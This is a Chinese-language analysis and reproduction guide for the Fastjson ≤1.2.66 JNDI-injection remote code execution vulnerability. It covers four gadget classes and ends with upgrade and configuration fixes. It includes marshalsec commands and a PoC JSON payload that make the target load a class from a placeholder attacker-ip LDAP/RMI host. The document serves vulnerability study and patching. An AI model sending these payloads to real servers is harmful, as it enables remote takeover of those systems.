Fastjson 小于等于1.2.66版本远程代码执行漏洞分析复现含4个Gadget利用Poc构造
字数 1544 2025-08-18 11:39:30

Fastjson ≤1.2.66 远程代码执行漏洞分析与利用指南

漏洞概述

Fastjson 在1.2.66及之前版本中存在多个通过JNDI注入绕过黑名单限制的远程代码执行漏洞。攻击者可以构造特定的恶意JSON数据,触发反序列化过程中的JNDI注入,最终实现远程代码执行,获取服务器控制权限。

漏洞基本信息

  • 漏洞名称: Fastjson 远程代码执行漏洞
  • 影响版本: ≤1.2.66
  • 威胁等级: 高危
  • 公开时间: 2020年3月19日
  • 补丁版本: 1.2.67

漏洞原理分析

根本原因

漏洞源于Fastjson的autoType功能与JNDI注入的结合利用。Fastjson在反序列化时,如果开启了autoType或存在相关配置问题,攻击者可以构造特定的JSON数据触发JNDI注入。

JNDI注入条件

  1. lookup参数可控
  2. InitialContext类及其子类的lookup方法允许动态协议转换
  3. lookup查找的对象是Reference类型及其子类
  4. 远程调用类时默认会在RMI服务器的classpath中查找,不存在则从URL地址加载类

攻击方式

可通过以下三种JNDI注入方式实现远程代码执行:

  1. RMI - 通过JNDI Reference远程调用object方法
  2. LDAP - 通过序列化对象、JNDI Reference或LDAP地址
  3. CORBA IOR - 远程获取实现类

可利用Gadget分析

1. org.apache.shiro.jndi.JndiObjectFactory

位置: org.apache.shiro-core-1.5.1.jar

漏洞点:

public T getInstance() {
    try {
        if(requiredType != null) {
            return requiredType.cast(this.lookup(resourceName, requiredType));
        } else {
            return (T) this.lookup(resourceName);
        }
    }
}

利用特点: resourceName参数可控

2. br.com.anteros.dbcp.AnterosDBCPConfig

漏洞点:

private Object getObjectOrPerformJndiLookup(Object object) {
    if (object instanceof String) {
        try {
            InitialContext initCtx = new InitialContext();
            return initCtx.lookup((String) object);
        } catch (NamingException e) {
            throw new IllegalArgumentException(e);
        }
    }
    return object;
}

利用特点: 通过metricRegistry参数传递

3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

漏洞点:
通过jndiNames参数控制lookup的输入,jndiNames经过iterator().next遍历返回的对象序列再转化为String

4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

漏洞点:

public void setProperties(Properties props) throws SQLException, TransactionException {
    String utxName = null;
    try {
        utxName = (String) props.get("UserTransaction");
        InitialContext initCtx = new InitialContext();
        userTransaction = (UserTransaction) initCtx.lookup(utxName);
    } catch (NamingException e) {
        throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
    }
}

利用特点: UserTransaction参数可控

漏洞复现

环境准备

  1. 使用Fastjson 1.2.66版本
  2. 准备marshalsec工具(marshalsec-0.0.3-SNAPSHOT-all.jar)

攻击步骤

  1. 启动恶意RMI/LDAP服务器:
# LDAP方式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#ExploitClass

# RMI方式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-ip:8000/#ExploitClass
  1. 构造恶意JSON:

根据不同的Gadget构造对应的POC,例如使用JndiObjectFactory:

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://attacker-ip:1389/ExploitClass"
}
  1. 触发漏洞:
    将构造的恶意JSON发送到目标服务器的Fastjson解析接口

修复建议

  1. 升级Fastjson:

    • 立即升级到1.2.67或更高版本,该版本新增了16个黑名单Gadget
  2. 安全配置:

    • 关闭autoType功能(默认已关闭)
    • 移除不必要的配置代码:
      ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      
  3. 防御措施:

    • 使用白名单机制替代黑名单
    • 对输入进行严格过滤和验证

参考工具

漏洞分析及复现相关工具:
https://github.com/SecurityCN/Vulnerability-analysis/tree/master/fastjson

总结

Fastjson ≤1.2.66版本存在多个可通过JNDI注入实现的远程代码执行漏洞,攻击者可以利用多个Gadget构造恶意JSON实现攻击。建议用户立即升级到安全版本,并关闭不必要的功能以减少攻击面。

Fastjson ≤1.2.66 远程代码执行漏洞分析与利用指南 漏洞概述 Fastjson 在1.2.66及之前版本中存在多个通过JNDI注入绕过黑名单限制的远程代码执行漏洞。攻击者可以构造特定的恶意JSON数据,触发反序列化过程中的JNDI注入,最终实现远程代码执行,获取服务器控制权限。 漏洞基本信息 漏洞名称 : Fastjson 远程代码执行漏洞 影响版本 : ≤1.2.66 威胁等级 : 高危 公开时间 : 2020年3月19日 补丁版本 : 1.2.67 漏洞原理分析 根本原因 漏洞源于Fastjson的autoType功能与JNDI注入的结合利用。Fastjson在反序列化时,如果开启了autoType或存在相关配置问题,攻击者可以构造特定的JSON数据触发JNDI注入。 JNDI注入条件 lookup参数可控 InitialContext类及其子类的lookup方法允许动态协议转换 lookup查找的对象是Reference类型及其子类 远程调用类时默认会在RMI服务器的classpath中查找,不存在则从URL地址加载类 攻击方式 可通过以下三种JNDI注入方式实现远程代码执行: RMI - 通过JNDI Reference远程调用object方法 LDAP - 通过序列化对象、JNDI Reference或LDAP地址 CORBA IOR - 远程获取实现类 可利用Gadget分析 1. org.apache.shiro.jndi.JndiObjectFactory 位置 : org.apache.shiro-core-1.5.1.jar 漏洞点 : 利用特点 : resourceName参数可控 2. br.com.anteros.dbcp.AnterosDBCPConfig 漏洞点 : 利用特点 : 通过metricRegistry参数传递 3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 漏洞点 : 通过jndiNames参数控制lookup的输入,jndiNames经过iterator().next遍历返回的对象序列再转化为String 4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 漏洞点 : 利用特点 : UserTransaction参数可控 漏洞复现 环境准备 使用Fastjson 1.2.66版本 准备marshalsec工具(marshalsec-0.0.3-SNAPSHOT-all.jar) 攻击步骤 启动恶意RMI/LDAP服务器 : 构造恶意JSON : 根据不同的Gadget构造对应的POC,例如使用JndiObjectFactory: 触发漏洞 : 将构造的恶意JSON发送到目标服务器的Fastjson解析接口 修复建议 升级Fastjson : 立即升级到1.2.67或更高版本,该版本新增了16个黑名单Gadget 安全配置 : 关闭autoType功能(默认已关闭) 移除不必要的配置代码: 防御措施 : 使用白名单机制替代黑名单 对输入进行严格过滤和验证 参考工具 漏洞分析及复现相关工具: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/fastjson 总结 Fastjson ≤1.2.66版本存在多个可通过JNDI注入实现的远程代码执行漏洞,攻击者可以利用多个Gadget构造恶意JSON实现攻击。建议用户立即升级到安全版本,并关闭不必要的功能以减少攻击面。